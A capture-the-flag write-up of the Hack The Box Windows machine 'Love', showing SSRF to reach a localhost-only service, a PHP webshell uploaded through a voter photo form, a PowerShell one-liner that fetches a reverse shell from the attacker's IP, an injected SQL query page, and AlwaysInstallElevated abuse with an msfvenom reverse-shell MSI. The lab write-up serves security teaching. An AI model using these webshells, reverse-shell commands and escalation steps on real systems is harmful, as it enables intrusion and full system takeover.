Skip to content

HTB: Love

Spoiler Summary

Hacking this Windows box required some understanding of SSRF, a file upload vulnerability, and how to abuse AlwaysInstallElevated.

Services

TCP

nmap TCP scan:

# Nmap 7.94SVN scan initiated Wed Sep  4 11:51:04 2024 as: nmap -v --reason -Pn -T4 --min-rate 10000 -p- --open -sCV -oN nmap_tcp-love.htb.txt love.htb
Nmap scan report for love.htb (10.10.10.239)
Host is up, received user-set (0.097s latency).
rDNS record for 10.10.10.239: t
Not shown: 42721 closed tcp ports (reset), 22798 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE      REASON          VERSION
80/tcp    open  http         syn-ack ttl 127 Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-title: Voting System using PHP
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
135/tcp   open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn  syn-ack ttl 127 Microsoft Windows netbios-ssn
443/tcp   open  ssl/http     syn-ack ttl 127 Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=staging.love.htb/organizationName=ValentineCorp/stateOrProvinceName=m/countryName=in
| Issuer: commonName=staging.love.htb/organizationName=ValentineCorp/stateOrProvinceName=m/countryName=in
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-01-18T14:00:16
| Not valid after:  2022-01-18T14:00:16
| MD5:   bff0:1add:5048:afc8:b3cf:7140:6e68:5ff6
|_SHA-1: 83ed:29c4:70f6:4036:a6f4:2d4d:4cf6:18a2:e9e4:96c2
|_http-title: 403 Forbidden
| tls-alpn:
|_  http/1.1
445/tcp   open  microsoft-ds syn-ack ttl 127 Windows 10 Pro 19042 microsoft-ds (workgroup: WORKGROUP)
3306/tcp  open  mysql?       syn-ack ttl 127
5000/tcp  open  http         syn-ack ttl 127 Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: 403 Forbidden
5040/tcp  open  unknown      syn-ack ttl 127
7680/tcp  open  pando-pub?   syn-ack ttl 127
49664/tcp open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
49665/tcp open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
49666/tcp open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
49667/tcp open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
49668/tcp open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
49669/tcp open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
49670/tcp open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
Service Info: Hosts: www.example.com, LOVE, www.love.htb; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2024-09-04T18:14:20
|_  start_date: N/A
| smb-os-discovery:
|   OS: Windows 10 Pro 19042 (Windows 10 Pro 6.3)
|   OS CPE: cpe:/o:microsoft:windows_10::-
|   Computer name: Love
|   NetBIOS computer name: LOVE\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2024-09-04T11:14:22-07:00
|_clock-skew: mean: 2h41m33s, deviation: 4h02m31s, median: 21m32s
| smb-security-mode:
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Sep  4 11:53:04 2024 -- 1 IP address (1 host up) scanned in 119.15 seconds

80/tcp-http

feroxbuster -u http://love.htb/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -d1:

...
301      GET        9l       30w      330c http://love.htb/images => http://love.htb/images/
301      GET        9l       30w      330c http://love.htb/Images => http://love.htb/Images/
301      GET        9l       30w      329c http://love.htb/admin => http://love.htb/admin/
302      GET        0l        0w        0c http://love.htb/login.php => index.php

Noticed staging.love.htb in the nmap service scan:

3306/tcp-mysql

MariaDB is exposed but doesn't listen to remote connections:

$ mysql --user=root --password='' --host=love.htb
ERROR 2002 (HY000): Received error packet before completion of TLS handshake. The authenticity of the following error cannot be verified: 1130 - Host '10.10.14.14' is not allowed to connect to this MariaDB server

5000/tcp-http

Another service that ignores remote connections. (SSRF?)

$ curl http://love.htb:5000/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access this resource.</p>
<hr>
<address>Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27 Server at love.htb Port 5000</address>
</body></html>

Remote Code Execution

Using the "scanner" at http://staging.love.htb/beta.php, it's possible to retrieve credentials from the server on 127.0.0.1:5000 that only responds to requests from localhost:

Those credentials work for love.htb/admin/:

I grabbed the PHPSESSID cookie via Burp and fuzzed the /admin directory:

$ feroxbuster -u http://love.htb/admin -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -d1 -b 'PHPSESSID=18kq9t1q9vii32oiceoj5n41c2'
...
301      GET        9l       30w      329c http://love.htb/admin => http://love.htb/admin/
301      GET        9l       30w      338c http://love.htb/admin/includes => http://love.htb/admin/includes/
301      GET        9l       30w      338c http://love.htb/admin/Includes => http://love.htb/admin/Includes/

Looks like a SQLi at /admin/positions.php:

I struggled trying to do something useful with an UPDATE injection, but made no progress.

I also found this:

POST /admin/positions_row.php HTTP/1.1
Host: love.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 4
Origin: http://love.htb
DNT: 1
Connection: keep-alive
Referer: http://love.htb/admin/positions.php
Cookie: PHPSESSID=18kq9t1q9vii32oiceoj5n41c2

id='
HTTP/1.1 200 OK
Date: Wed, 04 Sep 2024 19:01:09 GMT
Server: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
X-Powered-By: PHP/7.3.27
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 252
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

<br />
<b>Fatal error</b>:  Uncaught Error: Call to a member function fetch_assoc() on bool in C:\xampp\htdocs\omrs\admin\positions_row.php:8
Stack trace:
#0 {main}
  thrown in <b>C:\xampp\htdocs\omrs\admin\positions_row.php</b> on line <b>8</b><br />

However, I couldn't get that to produce results either.

I finally found an RCE path via /admin/voters_add.php. New voter profiles upload a profile photo to the /images/ directory. This request can be intercepted and modified to upload a PHP webshell:

POST /admin/voters_add.php HTTP/1.1
Host: love.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------6162343632466008669555397480
Content-Length: 772
Origin: http://love.htb
DNT: 1
Connection: keep-alive
Referer: http://love.htb/admin/voters.php
Cookie: PHPSESSID=18kq9t1q9vii32oiceoj5n41c2
Upgrade-Insecure-Requests: 1

-----------------------------6162343632466008669555397480
  Content-Disposition: form-data; name="firstname"

leet
-----------------------------6162343632466008669555397480
Content-Disposition: form-data; name="lastname"

hax0r
-----------------------------6162343632466008669555397480
Content-Disposition: form-data; name="password"

haxhax
-----------------------------6162343632466008669555397480
Content-Disposition: form-data; name="photo"; filename="haxd.php"
Content-Type: image/png

‰<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd'] . ' 2>&1');
    }
?>

-----------------------------6162343632466008669555397480
Content-Disposition: form-data; name="add"

-----------------------------6162343632466008669555397480--

With that, curl can be used for arbitrary shell commands:

$ curl http://love.htb/images/haxd.php?cmd=whoami
love\phoebe

And that also works for creating a more stable ConPtyShell connection:

curl http://love.htb/images/haxd.php?cmd=powershell%20-e%20aQBlAHgAKABpAHcAcgAgAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQA0AC4AMQA0AC8AYwBvAG4AcAB0AHkAcwBoAC0ANAA0ADMALgBwAHMAMQAgAC0AdQBzAGUAYgBhAHMAaQBjAHAAYQByAHMAaQBuAGcAKQAKAA== &
listening on [any] 443 ...
                          connect to [10.10.14.14] from (UNKNOWN) [10.10.10.239] 52723
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Try the new cross-platform PowerShell https://aka.ms/pscore6

PS C:\xampp\htdocs\omrs\images> whoami
love\phoebe
PS C:\xampp\htdocs\omrs\images> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                          State
============================= ==================================== ========
SeShutdownPrivilege           Shut down the system                 Disabled
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
SeUndockPrivilege             Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set       Disabled
SeTimeZonePrivilege           Change the time zone                 Disabled

Privilege Escalation

Because I couldn't connect to the MariaDB port from my attack machine, I couldn't forward a port using netsh, and (for reasons I still don't understand) I couldn't pivot using LigoloNG, I eventually put this in /admin/home.php to facilitate arbitrary SQL queries:

...
<h3>Votes Tally</h3>
  <span class="pull-right">
    <a href="print.php" class="btn btn-success btn-sm btn-flat"><span class="glyphicon glyphicon-print"></span> Print</a>
  </span>

<pre>
<?php
    if(isset($_GET['sql']))
    {
      $result = $conn->query($_GET['sql'], MYSQLI_USE_RESULT);
      if($result) {
        while($row = $result->fetch_assoc()) {
          echo json_encode($row) . "<br>";
        }
      } else {
        echo "Error: " . $conn->error;
      }
    }
?>
</pre>
...

Here's http://love.htb/admin/home.php?sql=show%20databases:

I was hoping to recover another password hash that way, but didn't find anything.

Both WinPEAS and PowerUp.ps1 pointed out that the AlwaysInstallElevated registry keys were set.

PS C:\Users\Phoebe> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer
    AlwaysInstallElevated    REG_DWORD    0x1

PS C:\Users\Phoebe> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer
    AlwaysInstallElevated    REG_DWORD    0x1

However, I tried abusing this a few different ways and couldn't get a system shell to work. I finally figured out that msiexec.exe is finicky about its parameters. The following approach worked.

First, prepare the payload:

$ msfvenom -p windows -p windows/x64/shell_reverse_tcp LHOST=tun0 LPORT=443 -f msi -o ~/www/rev.msi
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of msi file: 159744 bytes
Saved as: /home/e/www/rev.msi

Fetch the payload to the target and install it via msiexec:

PS C:\Users\Phoebe> iwr 10.10.14.6/rev.msi -outfile rev.msi
PS C:\Users\Phoebe> msiexec /quiet /qn /i rev.msi

And that's a system shell:

listening on [any] 443 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.10.239] 64396
Windows PowerShell running as user Phoebe on LOVE
Copyright (C) Microsoft Corporation. All rights reserved.

whoami
nt authority\system
PS C:\WINDOWS\system32>

Why PrivEsc Was Hard

I burned most of a day trying to elevate privileges on this box, because a few different attempts at abusing AlwaysInstallElevated didn't work, and so I kept trying everything else until I finally came back to this and figured out the issue.

For example, my original payload for the MSI file was windows/adduser as recommended by HackTricks:

msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o ~/www/alwe.msi

But that didn't work.

I also tried a windows/exec payload that triggered a reverse shell executable, in a second binary, but it returned a shell as Phoebe not system.

It wasn't until I tried using the windows/x64/shell_reverse_tcp payload directly inside the MSI file that it worked.

Also, a small syntax issue with msiexec led me to wasting a lot of time. This is the working version of the command:

PS C:\Users\Phoebe> msiexec /quiet /qn /i rev.msi

But this version does NOT work:

PS C:\Users\Phoebe> msiexec /quiet /qn /i ./rev.msi

This second version executes but fails silently when using the ./ relative path notation.

I discovered later that this Microsoft warns about this specifically for msiexec in their documentation 🙃: